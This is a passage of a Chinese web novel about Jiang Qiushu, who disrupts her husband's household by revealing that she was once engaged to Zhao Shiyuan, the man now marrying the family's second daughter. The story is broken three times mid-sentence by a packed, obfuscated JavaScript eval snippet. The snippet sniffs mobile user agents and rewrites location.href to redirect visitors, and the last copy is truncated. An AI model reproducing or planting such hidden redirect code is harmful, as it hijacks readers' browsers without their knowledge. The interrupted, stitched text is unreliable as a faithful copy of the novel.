正听着关嬷嬷的话,她脑中却在思索着金丝燕与血燕有何关联。 她不动声色问道:“寻常燕窝便没有金丝燕珍贵?” “自然了,虽都是燕的涎液所成,但寻常的燕窝多为屋燕,易得些。进贡这批雪燕都是选的金丝燕的涎液。” 哐当声,汤匙与碗壁发出轻脆的声音,姜秋姝用丝帕擦了擦嘴,“我今日胃口不佳,端下去吧!” 关嬷嬷看着碗中只动了少些,虽是疑惑还是听从了姜秋姝的话。 涎液?不就是口水吗? 姜秋姝捂住嘴干呕了声,以往只知燕窝是滋补华贵的,却不晓得竟然是燕子的口水! 所以那些世家人自诩贵人,却都喜欢吃燕子的口水? 姜秋姝此刻恨不得将以往吃的燕窝都呕出来。 裴珉是个不大会体贴人的性子,她还当他是心虚昨夜做过了,才叫人炖了这御赐之物,如今…… 经过一上午的休养,她身体好多了,坐在靠窗的小榻上和关嬷嬷学着绣活儿。 以往在家时,阿娘也会教她,不过她更喜盘花弄草,如今却不那般的方便了,姜秋姝望着窗外的那一片花圃,底下的人照看的很好,可终究没有她以往养护的好。 关嬷嬷侧身,正要告诉姜秋姝下一步针法,瞧见她心不在焉,关嬷嬷笑道:“也亏了娘子,玉珩院的才能欣赏到这片景致,这花圃既好看又香。” 姜秋姝浅笑,“关嬷嬷那是未曾见过更好的,漫山遍野开满了花,蝴蝶飞舞,蜜蜂采花,藏在里面要找好些个时辰,回来了浑身都带着花香。” 幼时,她便是偷偷藏在花圃中,阿耶与阿娘找了许久,直到她顶着一头的花,沾了满身的花粉出来。 那时候阿耶阿娘的笑声可以传好远好远。 姜秋姝晶莹的眸光掺杂着怀念。 门口锦绣进来禀告说是四夫人来了。姜秋姝放下针线,想起昨日的事来。 她到正厅的时候,小娘子的泣声不断,正是五娘,而她身边站着看戏的是三娘四娘。 这三个便是四夫人生的三女。 三娘和四娘朝着五娘哼了声,五娘哭的更加厉害了。 “本是小孩子玩闹,弟妹怎捅到太夫人那里去了!”四夫人不满的看着她,将昨日的事情解释了。 原是三娘和四娘抢了五娘的荷包,还给扔到了湖中,五娘才去捞的,五娘身上的伤大概也是和她们抢荷包时弄的。 四夫人瞧见五娘还在哭,脸上的愤恨就更深了。 五娘吓得缩了缩身子。 本是他们四房的事儿,姜秋姝不过刚嫁进来的五房夫人,即便是裴珉再有出息,国公爷也并未定下世子,怎好意思多管闲事。 姜秋姝做时便想过会有今日的情况,四夫人本就与她不对付。 自上回手鞠球的事儿,便看得出那孙嬷嬷不是个好的,可四夫人依旧将人留在五娘身侧,孙嬷嬷根本就没将五娘放在眼中,玩忽职守,日后保不齐会做出什么大事儿。 “即便出了事儿,弟妹与我说便是了,我还不会惩戒了那嬷嬷吗?”四夫人真是越想越气,太夫人派嬷嬷来传话时,眼中明晃晃的觉得她管不好自己院里的事儿,不堪大用! 这五弟妹当真是阴险的,竟然在太夫人面前说她小话!她真是咽不下这口气。 姜秋姝看着一侧有恃无恐的三娘和四娘,再瞧被四夫人瞪了眼,哭都不敢哭的五娘。 即便是她将事情与四夫人说了,那嬷嬷巧舌如簧,四夫人又对五娘不大放在心上,必定是会委屈了五娘。 “四嫂确定不会因我之故,而选择信了那嬷嬷的狡辩之言?”姜秋姝忍住心中的讥笑,“我便如实与四嫂说了,五娘的手鞠球并非我所弄坏,而是孙嬷嬷侄儿见手鞠球有趣,夺走玩坏了的。” “不可能!” 姜秋姝见四夫人斩钉截铁,心头的讥笑上了脸, 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“几位嫂嫂来,可是蓬荜生辉。”姜秋姝神色温和,也很快将方才的事儿抛之脑后。 “四弟妹也来了?”二夫人惊叹道,“四弟妹与五弟妹关系还真不错,府中出了事儿,首先便是同五弟妹讲。” “何事儿?”四夫人疑惑。 二夫人瞧她不知,又看了看三夫人。 三夫人本是用这个由头带着二夫人来玉珩院的,就将事情说了,“太夫人的意思,二娘的婚事由咱们负责。”大夫人深居佛堂,是不管事儿的,太夫人身子又不信,本来是将事儿交给二夫人和三夫人的,不过说是咱们,不至于叫其余两人失了脸面。 婚事? 姜秋姝接着抿茶,眉眼一挑,这赵士远当真是个有本事的! “咱们这侄女婿虽说是娶妻,可日后与夫婿还得住在国公府,嫁人和找个郎君入赘也没甚差别,也就二娘有这般的幸事儿。”三夫人说着欣喜的话,可是掩唇时遮住看戏的心态。 若非夫家身份低微,又怎会继续住在国公府,表面说疼爱二娘舍不得远离,便叫其夫婿也搬来同住,等到新院子修缮好才搬过去,实则二娘舍不了繁华,这二娘夫婿亦是。 二娘夫婿腆着脸住在娘子的娘家,也真是能屈能伸,不怕外边儿的人唾沫。 二夫人知晓二娘一向自视过高,竟然能够看上这么个男子,也是稀奇,派人去查了查,好惊奇! 她亦道:“听闻这位侄女婿出自河州赵氏,不过如今没落了,科考榜上有名,也算是学富五车,不过曾有位未婚妻。 说到这里二夫人声音小了些,“赵郎君高中后便与其退了亲,那小娘子将人给告了,还只要了一文钱补偿。这事后赵郎君官途不顺,本该受封六品,如今不过是个九品小吏,小娘子实在太无情也太厉害了!” 三夫人点头,倒是能够理解那小娘子,不过赵郎君如今也算是府中人,说话自然得向着些,“赵郎君行事确实太过,可那小娘子寒门中人,与赵郎君结下亲事算是高攀。 赵郎君想要解除婚事,已然是给了补偿,两人好聚好散便是了,还将此事闹大,毁其名声,也不晓得是何处人,胆子大,心也狠。”是个能成大事的! “是我,”姜秋姝抿了口茶,淡淡道,“与他退亲的人是我!” 14. 第 14 章 姜秋姝话落,三位夫人皆神情惊愕,尤其是二夫人声音大的旁边的三夫人捂住耳朵。 “你!你退的?!” 二夫人对此事有过耳闻,当时洛阳闹得还挺大,有的言小娘子性子犟,拿了好处走便是,非要弄得你死我活,有的说小娘子高攀,挟恩以报定下婚事,赵郎君想寻个一心人,不愿辜负人才退亲,还愿将小娘子认为义妹,日后给寻个好夫婿,已经有情有义了。 只不过流言再烈,那小娘子却始终未被人给找出来。 她当初觉得好奇,还派人观望,动用正明侯府的势力寻了许久,也未曾查到这般的奇女子,如今竟然告诉她,那个敢将未婚夫婿告上公堂,还只要一文钱补偿的人,竟然会是刚嫁进来一年的五弟妹,姜秋姝! 三夫人本是来阻碍四夫人生事,却听闻了这么件儿大事儿? 姜秋姝没去管几位妯娌的神色,因为关嬷嬷方才在她耳侧提醒,太夫人想要见她。 她约莫能够猜出来是何事。 她起身,却又回头看向了四夫人。 “奉劝四嫂一声,三岁看到老,三娘和四娘连幼妹都敢欺负,也是平日管束太宽松了!”姜秋姝清冷的声音传来,几位夫人还未从震惊中反应过来。 三夫人和二夫人对望了下,皆是呼吸都跟着停滞了瞬,有些事儿想的更明白了些。 五弟妹是赵郎君退过亲的未婚妻,娶了国公府的二娘,岂不是也要叫她一声五叔母? 前未婚妻如今成了长辈,这? 国公府日后怕是热闹了! 太夫人主动寻她,只有过两次,一次是一年前裴秋月与赵士远之事,第二次便是今日,也是因他二人。 这也是方才她主动点名与赵士远退婚之人是她的缘故,她行得正,坐得端,光明磊落藏着这些狗苟蝇营,只会成为旁人威胁她的手段。 清风苑内,太夫人合目养神,身侧的嬷嬷上前替她轻轻按压着眉侧,香炉中青烟寥寥盘旋,久久不曾散去。 “太夫人。”姜秋姝躬身行礼,上首之人未应,她便站在原地未动。 约莫一刻钟,太夫人似醒来,责备身侧人,“五夫人来了,为何不禀告我!” 嬷嬷立刻告饶,太夫人仁善的宽恕了,只言下次莫犯,然后叫身侧的人全部离开。 太夫人提起茶壶,往杯子里倒,动作不急不慢,约莫又过了一刻钟,才将茶水喝完。 姜秋姝依旧未开口,与太夫人站在一块儿,很是需要养气的功夫。 太夫人放下茶杯,不轻不重的磕绊声,茶杯里的水溢了些出来,“当初同意你嫁与五郎,也是起了弥补的心,老身晓得是秋月对不起你,秋月那个没出息的,老身如今也是管不了了!” 祖孙俩僵持了一年多,这门婚事她本是不想同意的,可如今满城风雨,她晓得拦不住,也不想再拦了,这个孙女到底是让她失望了。 姜秋姝仰头,便瞧见太夫人慈眉善目的脸上无奈又痛惜,与以往完全是两幅面孔。 那时赵士远与她提了退婚,隔日她便撞见他与裴秋月亲密相拥,深情款款,花了些功夫打听,才晓得裴秋月是定国公府二娘。 不久后,裴珉便亲自上门要她保密裴秋月的时,她直接一纸诉状告赵士远,定国公府也注意到了她这只蝼蚁也是会咬人的,太夫人便亲自召见。 言语温和,说着她身份低微,比不得裴秋月高贵,家世贫穷与定国公府更是云泥之别,暗地里提点她,不要将裴秋月与赵士远的腌臜事说出来。 那时的太夫人威严,皮囊上是如同佛堂的菩萨,皮囊下却是高高在上,与她说话都像是在施舍。 她原本就从未透露过,赵士远是另攀高门才与她退亲,不想将那女子牵连进来,主要也怕那名女子是被赵士远哄骗,可后面见了国公府中人,才晓得她的好心,与他们而言一文不值。 前有裴珉替裴秋月遮掩,想叫她闭嘴,后便是太夫人伪善的提点。 姜秋姝眼眸暗藏住讥讽的笑。 “太夫人勿气,二娘迟早晓得您的苦心。”姜秋姝缓了缓心神安抚道。 见她说了话,太夫人心头稳了些,“人既然要住进来,往事就让它过去吧!日后你便是长辈,他们会敬着你的。” “是。”姜秋姝点头 姜秋姝声音并无怨怼之意,太夫人越发的满意了,“知晓这件事的人不多,府中人也都是嘴牢的,你自个儿也别说漏了嘴。” “儿媳…儿媳方才与几位妯娌说话,不小心说漏了嘴。我非有意的,实在太震惊了,赵士远退了与儿媳的亲事,在儿媳与二娘间选了秋月,儿媳还嫁给了五郎。 原以为太夫人是绝对不同意二娘与赵士远的婚事,如今他们要住进来,儿媳与五郎情何以堪!”说着说着姜秋姝红了眼眶,眼泪成片的掉落在地上。 “赵士远与我退了亲,转而和二娘成了婚,这叫妾身如何是好?叫娶了妾身的五郎又是丢了脸。” 太夫人沉思,原先姜秋姝进来时,虽收规矩,可到底是有些异样的,原是做错了事,怕她追究。 “你的意思是五郎捡赵士远不要的?反倒是选了秋月这个明珠?”太夫人声音不明,虽是有怒意,可隐约背后藏着别的意思! “如今他们要住在府中,妾身是怕在几位郎君和妯娌面前丢了脸,怎能在她们面前抬起头来。”姜秋姝解释道,也很是悔恨自己的冲动。 此话前后矛盾,若是当真怕抬不起来,才该将事情埋在肚子里,太夫人闪过抹深思,在瞧见姜秋姝眸中的不甘,彻底的静了下去,给自己倒了杯茶水,浅啜口。 上首的太夫人叹了口气,“老身晓得委屈你了,可今日行事太鲁莽了,自去反省几日。府中人都是聪慧的,老身会去敲打番,莫要传到外面,丢了府中人的脸面。” 姜秋姝离开时,依旧是惶恐的模样,直到离了清风苑许久,她才擦了擦脸上不存在的泪渍。 “娘子,太夫人心善,晓得您非有意,不会责怪您的。”关嬷嬷关切道。 姜秋姝声音瓮瓮,嗯了声。 真是心善,怎会再听见会叫裴珉抬不起头,便息了责怪她的心,只装模作样的说出叫她反省的话。 “太夫人,这五夫人必定是有意的。”身侧的嬷嬷继续替她按捏着。 “到底是不甘心,原本以为她收敛了性子,也沉得住起来,没想到还是和刚嫁来一个样。”太夫人叹了口气,合目叫嬷嬷力道重些。 等到回玉珩院时,姜秋姝发现几位夫人都没有离去,伺候的婢女悄然走过来,小声说她们已经添了好几次水,茶都快淡的没味道了。 姜秋姝也没想到她一番话,竟然引得她们如此痴迷,她都离开了好些时辰,她们竟然半点儿也不想要离去。 “回来了?”三夫人笑盈盈的拉着姜秋姝,按在了座位上,二夫人递来了糕点和茶水,四夫人只是频频将目光移向她。 而她身侧的三娘和四娘记得姜秋姝临走前说的那句话,此刻盯着姜秋姝的眼神算不得好。 “是我待客不周,方才太夫人唤我有事儿。”姜秋姝简单将事情给讲了。 三位夫人又不是想听这些,只是不晓得该如何开口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352261|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>三夫人亲自给她倒了水,“五弟妹先前说过的话是什么意思。” 姜秋姝抿了口,如婢女所言,确实是半点儿茶味都没有了。 “嫂嫂说的什么?先前我们只是在讨论二娘的婚事啊?”姜秋姝揉了揉眼角,“太夫人唤我去,也是此事。其余的可什么都没有,太夫人可不想听到什么闲言碎语。” 几位夫人看着她湿润又有些红润的眼角,一下子都明白了。 太夫人怕是不许提此事了。 几位夫人就这么憋着心里,尤其是三夫人数次欲言又止,只能在心里哀叹。 偏她来不逢时! 此时也不晚了,几位夫人并没有留膳的打算,便都纷纷告辞离去。 快到晚膳,裴珉姗姗来迟,早先便派小厮禀告过了,姜秋姝算着往日的时辰,结果过了许久,人才回来。 姜秋姝连忙迎上前,如以往般替他解下披风。 裴珉躲过她的手,自己将披风解了,姜秋姝愣在原地,盯着裴珉的背影,察觉到他不同寻常的气息,心里升起股不好的意味。 府中奴仆将膳食端了上来,裴珉只盯着餐食,连余光都未曾给她。 姜秋姝也只挑了几道平日里爱吃的东西,寥寥几口,熏香的气味将食物味道掩盖了大半,她越发放缓了速度。 他…应当是知晓了。 姜秋姝接着喝汤掩盖住嘴角的苦涩…也是来警告她的。 那日风和日丽,洛阳最贫瘠的小街上院落林立,大都是多人租赁,里面鱼龙混杂混迹各处的人都有。 隔壁婶子提着篮子,里面是果腹的石鏊饼,她怜惜道:“小娘子吃些吧,尽管再苦吃饱了才有力气。” 周围的人皆晓得,赵士远刚刚榜上有名便抛弃了她。 她捏着石鏊饼大口大口的吃着,任由眼泪和了干的饼,一起嚼下去。 她想不明白,为何与她相亲相爱的赵大哥,不过一日便变了个模样,说好会娶她,代替阿娘阿耶照顾她。 她夙兴劳作,耗费银钱供他至今,她以为他实现了心愿,她很快便会又有自己的家。 石鏊饼被她捏紧,眼泪说尽了她的委屈和痛,她又成了一人。 这时,面前忽然出现个男子,她连忙擦了擦眼泪,可双颊鼓鼓,含满了石鏊饼,脸上尚且残留着泪渍,她晓得自己狠狼狈。 那人并未看她,只开口,“只要你不将与赵士远在一起的小娘子说出去,府中会给你补偿,多少都可以。” 姜秋姝听到这话,有些想笑,也真的笑了,嘴里的东西喷了出来,原本止住的眼泪也忍不住。 有人护着的感觉真好,为何她就没了呢? 那些护着她的人,都成了一捧土。 裴珉看着眼前又哭又笑的小娘子,恼怒的抖了抖衣角沾染的污渍,真是多来一趟。 姜秋姝抬眸,也看清了他恼怒外加嫌弃的模样,故意抬眉道:“那便一万金吧!” 她不识的眼前的郎君,却也看出了他的非富即贵,她有意说的那般的大,是为难,亦是不忿。 错的人非她,为何都来为难她,赵士远未曾没有提过补偿,可她偏不是识时务的人,她偏要赵士远付出代价! 也是那次,她才下定决心转告赵士远。 晚膳被撤下去,分明未用多少,可姜秋姝却觉得腹中却感不到饥饿。 两人对立而坐,周围伺候的奴仆全在裴珉的授意退下了。 “今日为何那般做?!”裴珉声音不怒自威,眸光压着阴沉,有意的克制。 姜秋姝只觉得,还是来了。 15. 第 15 章 “五郎说什么呢?妾身听不明白。”姜秋姝面色疑惑,甚至被裴珉的声音吓了跳,说话都虚弱了些。 晓得早晚都会传到他耳中,没想到会是今日这个晚。 裴珉回府比平日晚了些,也是去了清风苑吧! 姜秋姝捏着手帕,神色更加委屈了,“五郎刚回来,便对妾身使脸色,又不说明白了,妾身愚钝,自嫁入府中,都是听长辈和五郎的,从未有过逾举。” 裴珉将她打量了番,问道:“你真的不知?” “妾身该知晓什么?”姜秋姝反问。 装糊涂,谁不会了,姜秋姝烦透了这种老的护小的护的事儿,裴秋月便是他们的心头宝,旁人不敢碰,只能敬而远之。 “为何与几位嫂子说与赵士远的牵连?”裴珉的眸光再次打在她身上,探究的看着她。 “不能说吗?”姜秋姝声音疑惑,“为何不能?正大光明之事藏着掖着,反倒成了龌龊。” “那你有想过府中的脸面呢?”裴珉道,“叫旁人怎么看你与赵士远?” 姜秋姝看着他眼底里的阴沉,呼了口气,“五郎,妾身不是鲁莽之人,将事情说透,也不过为了真诚二字,解除了婚约,我与赵士远便再无干系,说与不说并不重要,如今赵士远与二娘定下婚约,那我便成了他叔母。纸保不住火,府中人迟早会知道,还不若早日与府中人说清楚,免得日后打妾身个措手不及。” 裴珉看着她眼里的真诚,可若非看到了她与赵士远碰面,几乎要被她给骗了过去。 姜秋姝没能看清裴珉此刻的复杂,只接着说,“至于府中的脸面?五郎你且想想几位嫂子是那般的人吗?他们亦如同五郎般爱护国公府,自然不会叫旁的人来笑话。” 且,这是什么值得笑话的事儿吗?如今寡妇二嫁,三嫁常事,他赵士远也不过是定了两次亲。 裴珉未在开口,只是身上的气势,叫人晓得他情绪并不好。 姜秋姝面色诚惶诚恐,心中却在暗自腹诽,不过是小事儿,便那般心疼裴秋月? 两人静坐着,奴仆也在这时上了清茶。 此刻的静谧,叫她待不下去,姜秋姝起身与裴珉告辞,便回了自己房间。 裴珉端起茶杯,掌心的温柔,叫人思绪繁杂。 即便她说的有理,可也不过是藏在阴暗处的表象,她从未忘记,越是难忘,才叫人越是纠结。即便已经过去了一年多。 她又将一切重新捅了出来,例如一年前,抱着同归于尽的想法,要将赵士远拖下水,分明又更利于自己的选择,拿了钱财,过上优渥的生活,可她还是做了。 是因她性子如此?还是因为那个人? 她因那人失控。 裴珉看着姜秋姝,心头莫名升起了股子烦躁。 *** 姜秋姝回到房间,坐到椅子上,书案上裴珉要求抄写的《孝经》也不过寥寥几笔便能写完,她沉下心,准备好笔墨。 她将《孝经》的褶皱一下下的捋平,瞧着卷痕被压下,原本的郁气也逐渐消失。 偶尔也会觉得烦倦,她与这定国公府格格不入,世家大族要求的夫人贞静娴雅,她有仇报仇,有怨报怨,忍气的功夫不如她们。 即便这一年,她竭力约束自身,在外人眼中五房夫人瞧着懂礼,与那些世家大妇,没甚差别。 笔尖在纸上轻轻滑动,墨迹流畅,随着时间的推移,她的心也逐渐安静下来。 至于裴珉? 墨渍滴落一滴在纸张上。 姜秋姝暗自摇头,甚至想要笑,他便是最想要他成为世家夫人典范的吧! 呼吸间,字迹也随着书册上变化起来,直到最后一个字时,姜秋姝抬头,惊愕的瞧着,那字形竟然有五六分相似。 大约是模仿久了,若是再沉下心的练,怕是与裴珉的字迹能有个九分像。 这般想着,她刚要再次下笔,恍然抬头时,瞧见裴珉在门口正要走来,不知为何有些心虚的将那张最像的字迹压在最底。 “五郎?”平日他可不会来她房间,莫不是方才未将她说过瘾? 姜秋姝站立了椅子些,福了福身子。 裴珉走近,看着桌上的字,“抄完了?” 姜秋姝摇头,没将那最后一张纸算在里面,“约莫还有几十字。” “抄吧!”说着裴珉在她身侧,替她研起磨。 姜秋姝有些搞不懂,他是何意,还是老老实实的坐回了椅子,拿起笔按照自己原先的字迹,写了起来。 裴珉看着纸上的字,每当姜秋姝抬腕,下笔,他越拧眉。 那目光始终停留在她身上,姜秋姝除开莫名之感,更多的感觉,像是被什么压制住,叫她越发的谨慎。 就在墨渍落在白纸的角落时,裴珉彻底的忍不住,上前一步,从后面将她圈在怀中,他的气息靠近,姜秋姝吓了一跳,侧头,正好擦过裴珉的左脸。 柔软的触感一闪而过,裴珉怔楞了瞬,很短,姜秋姝也是惊诧到了,并没有察觉。 裴珉盯着她的唇瓣,喉结随着吞咽上下滑动,他碰触过,娇嫩尤其是当沾染水渍时,如同晨间露珠未散的牡丹。 能够感觉身侧之人呼吸比起方才要急促了些,即便并未贴身,被他笼罩着,他的体温毫无顾忌的传来。 姜秋姝尽量敛气凝神,去忽视那种莫名的气息。 两人之间的气氛,比起方才在正厅时更加的怪了些。 这么的沉静,叫姜秋姝的心始终的悬着。 “五郎,不会因为方才之事生妾身的气吧?”姜秋姝手上干脆没使劲儿,随着他的手腕动作,试探的问道。 “不会。”裴珉声音淡淡,眸光自她身上离开,注视到了纸上,便带着他写,又便给她讲该如何落笔,收笔。 他说不会,便是真的不会,姜秋姝松了口气,至少他从未骗过她。 “五郎字迹这般的飘逸,该是自小便有的灵气,于父母而言,五郎这般的郎君该是心头宝,功课不用操心,心性也是极稳当。” 姜秋姝察觉到他手停顿了瞬,好似对她夸赞的话敬谢不敏。 裴珉看着纸上的字,一些厌恶的事闪过,可片刻又收敛起来,只耐心的教导着姜秋姝。 如此讨好的心,也没了大半,任由他教着她。 最后姜秋姝偷懒了些,任由裴珉写着,可她越放松,其余的感触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361954|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却越明显,他的掌心温度比她要烫了不少,好似昨夜他禁锢着她,将她的手按在头顶。 压迫,叫人无处可躲藏。 姜秋姝咳嗽了声,眸光忍不住乱瞟,落到了他的侧脸上。说实话,裴珉确实有副好容貌,与他身上的权势不相上下。 好半晌,终于写完了,裴珉看着纸上的字迹,不满一闪而过。今日本就不适合教习,也不晓得怎就跟着她来了。 “你安寝。” 说完话,裴珉直接离开了房间。 姜秋姝拿起这张纸,好似比起往日裴珉的要差了些?她又拿了别的对比起来,其实都大差不差,可她始终觉得不一样,现下的这张好似并没有多用心,也瞧不出独属于裴珉的韵气。 其实裴珉方才这一出,也叫她摸不着头脑,忽然来房间只是单纯的为了教她? ~~ 今日天气好,花园中开了不少的花,姜秋姝领着关嬷嬷和锦绣在院子里散心。 裴秋月成婚在即,婚期定在十月,经过大师的推算,好日子共有三个,分别是十月,明年五月,还有三年后的九月。 原本太夫人属意明年,可裴秋月死缠烂打说尽好话,才重新选定了日子。 府内为了裴秋月一事,已经开始做起准备来,公侯之家嫁女,自然是排场盛大,即便日后住在府内,赵士远却特意在城北租赁了一套院子,用作拜堂,等后面在重新搬回府。 姜秋姝感叹,赵士远真是舍得下脸面,这般与赘婿也无异。 几个小厮抬着红箱子,甚至还有婢女捧着红绸,在园子里来回穿梭。 真是没寻个好日子出门!姜秋姝正要回去,一道声音叫住了她。 回头便看见裴承朝她而来。 她与他可并未什么交情,尤其在正明侯府,他指责她偷采别府的花。 “何事?”姜秋姝平静的看着他。 “秋月要成婚了,原本秋月就是小孩心性,有得罪了五叔母之处,我代她替您道歉。如今他们夫妻要住在府中,也还请五叔母宽宥,往事已矣。”裴承恭敬的朝着姜秋姝低头。 姜秋姝依旧波澜不惊,这些时日太夫人,裴珉再加上个裴承皆找上她,说起裴秋月之事。 她在他们眼中便有这般大的本事,不过毫无根基的五夫人,能够为难国公府嫡出的孙女? “三郎君也太看的起我了。”她抬眸看了他眼。 “五叔母这是不答应了?”裴承也只得这么个同胞妹妹,两人相依为命,即便裴秋月行事再荒唐,他身为兄长也得护着自家人。 这是阿耶过世前,交代过的。 姜秋姝并未直言,只是打量起裴承来,十八岁的年纪,已经是从五品游骑将军,跟在定国公身侧辅佐,比起旁的儿郎已经算是出息了,可偏偏有个裴珉的存在,挡了他大半的光芒。 “三郎君,我自是循规蹈矩的内宅夫人。”姜秋姝如实道,也以为自己说的很明显。 结果裴承却执拗要个承诺,“五叔母,您是应下了?” 姜秋姝烦不胜烦,也是有了怒意,“我凭何要应下?” “是我待五叔迎亲的,便是以此恩情可否?”裴承一字一句道。 16. 第 16 章 红绸高悬,随风荡,唢呐开场,喜笑哄堂身着嫁衣的小娘子,被喜婆搀扶着出了轿门,团扇遮住大半的脸,只能瞧见侧面的轮廓。 绸子的递到她手里,她抓住很紧,手心沁出湿润的汗渍。另一侧被人给牵住,下桥时她余光瞟了眼,只瞧见了手背上的红色小痣。 “一拜天地。” “二拜高堂。” 祝贺的笑意中,仿佛夹杂了些,叫她听不明白的东西,只是在婢女的搀扶下,迟钝的行礼。 她在坐上花轿的那刻,心头其实是慌乱的,尤其是订婚后不久才发觉是自己误会了,也有过想要悔婚的念头,可不过一闪而过。 嫁人了,小满便有了自己的家,这是阿娘临终前说的。 “夫妻对拜。” 直到她转身,微微俯首,抬眸时扇子遮住半边脸,露出了一双眼,眼前的事实无处遁形,与她对拜的是另一张脸,不是裴珉……而是代替裴珉的裴承。 “礼成。”又是一声高喝,那些虚望的画面全部消失殆尽,姜秋姝看着堂前的裴秋月和赵士远。 锦衣华服,嫁衣上缀满了珍珠,上妆的小娘子容色比起平日,更是多了几分欢天喜地的俏丽,完全看不出平日里跋扈的模样。 对面的郎君,穿着与她登对的婚服,笑容满脸,细看却觉得被棍尺量过的般,姜秋姝看过去时,赵士远刚好瞧过来,视线停留在她身上,怔楞了瞬却又很快移开了,对着新嫁娘笑盈盈。 能屈能伸,姜秋姝没想过,那个与她相依为命数年的赵士远,还能有这副面孔。 他无父无母,拜的不是牌位,而是国公府的长辈,如今他赵士远彻底的打上了国公府的印记,早就不是以往那个青衣郎君。 面前忽然伸出只手,手腕被捏住,力道有些重,手背青筋明显,她侧目。 “在看什么?”裴珉不知何时,来到她的身旁。 他的手宽大,足以将她完全遮住,指骨分明却又有力,许是察觉到她的挣扎,他才松了些力。 高堂之下的两人已经行完了礼,裴珉目光紧锁在赵士远身上,注意到他目光又望向这边时,唇角微抿,给了个警告的神色。 赵士远身子一僵,却又很快的朝着前来观礼的,行礼道谢。 人心不足蛇吞象! 裴珉眼神比起方才更加低了几个度,抓住姜秋姝的手用了些力道。 “五郎。”姜秋姝小声的唤道,提醒着他。 以往避讳在人前与她亲密,今日却如此的反常。 “方才在看什么?”裴珉看着她又问了句,似乎想要将她看透。 姜秋姝被盯得有些不舒服,却很快整理好情绪,笑道:“皆言,新嫁娘是一生中最美的,妾身使劲瞧瞧二娘与平日有何不同。” 撒谎,裴珉松开了她的手。 这个位置只能瞧见裴秋月的侧颜。 “息了你的心思。”他声音比起方才严厉了许多。 姜秋姝眼神莫名在他身上打转,很快就明白了其中意思。 他这是误会自己对赵士远余情未了?可别恶心她了。 裴珉原本是在另一侧观礼,与府中其余几位郎君站在一处,可当看着姜秋姝神情,只觉得身躯一震。 遗憾,恍惚,有许多他看不懂的东西。 只有极致的恨与爱,才叫人刻骨铭心,放下只能是淡漠。 直到今日,他都无法忘记,公堂下的她是如何的狼狈不堪,可那双眼确实孤注一掷的狠意。而两人阴差阴错的那日,她口中呢喃的是赵士远的名字。 裴珉眼中温度更加低了。 除开赵士远,再无旁的男子,能够叫她有这般深厚的情绪,一想到这里,他心里越发哽住了,像是有什么被压住,想要去探究,却又寻不到。 “妾身只是在遗憾,当初与五郎少了这么些礼数。”姜秋姝其实并未放在心上,只是今日有些触景生情罢了。 毕竟当初,裴珉并非有意,宫中召见,他便是有再大的权势,也不敢明目张胆的蔑视皇权。 他既然怀疑她,少不得要逼真些,说完她盯着他的眼眸满是可怜之色。 “不过妾身能够体谅您的。” 裴珉不语,她眸光委屈甚至隐约能瞧出些泪渍,他侧过头,躲避她的眼神。 “是我误会了。” 姜秋姝瞧着裴珉闪躲的目光,疑惑一闪而过,可身侧忽然听到一阵轻笑。 她望过去,身着天青色软烟罗衣袍,腰间翠绿色玉佩,头顶绿玉冠,手持青竹扇面的男子朝他们拱手,笑意和煦却不达眼底,“老师,师母安。” 裴珉只教过宫中的贵人,结合李长宁给她的洛阳贵族信息,加上他一身的绿,宫中只有二皇子李明熠最喜绿色之物。 本是张俊俏的脸,可全身的配饰颜色太过统一,恍若眼前站着的是一块儿绿草地。 姜秋姝眼神闪烁了下,嘴角轻微抽动,连忙颔首回礼,装作不晓得他身份的模样。 “若是老师当初许了我与二娘的婚事,今日这堂上之人说不定是我了。”李明熠声音略带嘲讽。 倒不是他有多喜欢裴秋月,只是与定国公府攀上亲,得其助力,可事半功倍。 可偏偏这些世家人清高,皆言高攀不上皇室,少于其通婚。 “殿下多虑了,婚事既是父母之命,又是二娘心中所愿,臣做不了主。”裴珉不咸不淡的回道。 便是说他既得不到定国公承认,又得不到个小娘子的心,裴二娘所嫁的男子不过是个末流世家的九品小官,他可是堂堂大周的皇子,李明熠咬了咬牙,晓得此时不能得罪裴珉,反而将视线转向了姜秋姝。 “师母原是遗憾与老师未全礼?可惜可惜,老师向来亲力亲为,若非事态紧急,又是老师心中最重之事也不会耽搁了。”二皇子惋惜的说着。 裴珉看了二皇子眼,二皇子也晓得点到为止,此处是人家的地盘,他也不会傻到在这时大放厥词。 姜秋姝虽是装作娴静夫人般垂眸颔首的模样,可余光却放在了裴珉身上,方才二皇子说出的话,似乎是叫裴珉生了丝不悦? 所以当真有比他们婚事还要重要之事? “便不好打搅老师与师母了,今日本就是不请自来。”二皇子说完便告辞了。 宫中子嗣单薄,只有四位皇子和一位公主,其中最小的皇子不过三四岁年纪,几位皇子皆是雄才大略,文武皆备储君人选也在他们当中。 姜秋姝站在人群中,如今拜礼结束,也该如席了,这次婚事大都是二夫人和三夫人负责,她倒是成了闲人一个。 人流攒动,姜秋姝刚走了步,胳膊被什么撞了下,身体不由自主朝前面倾泻,她吓得闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 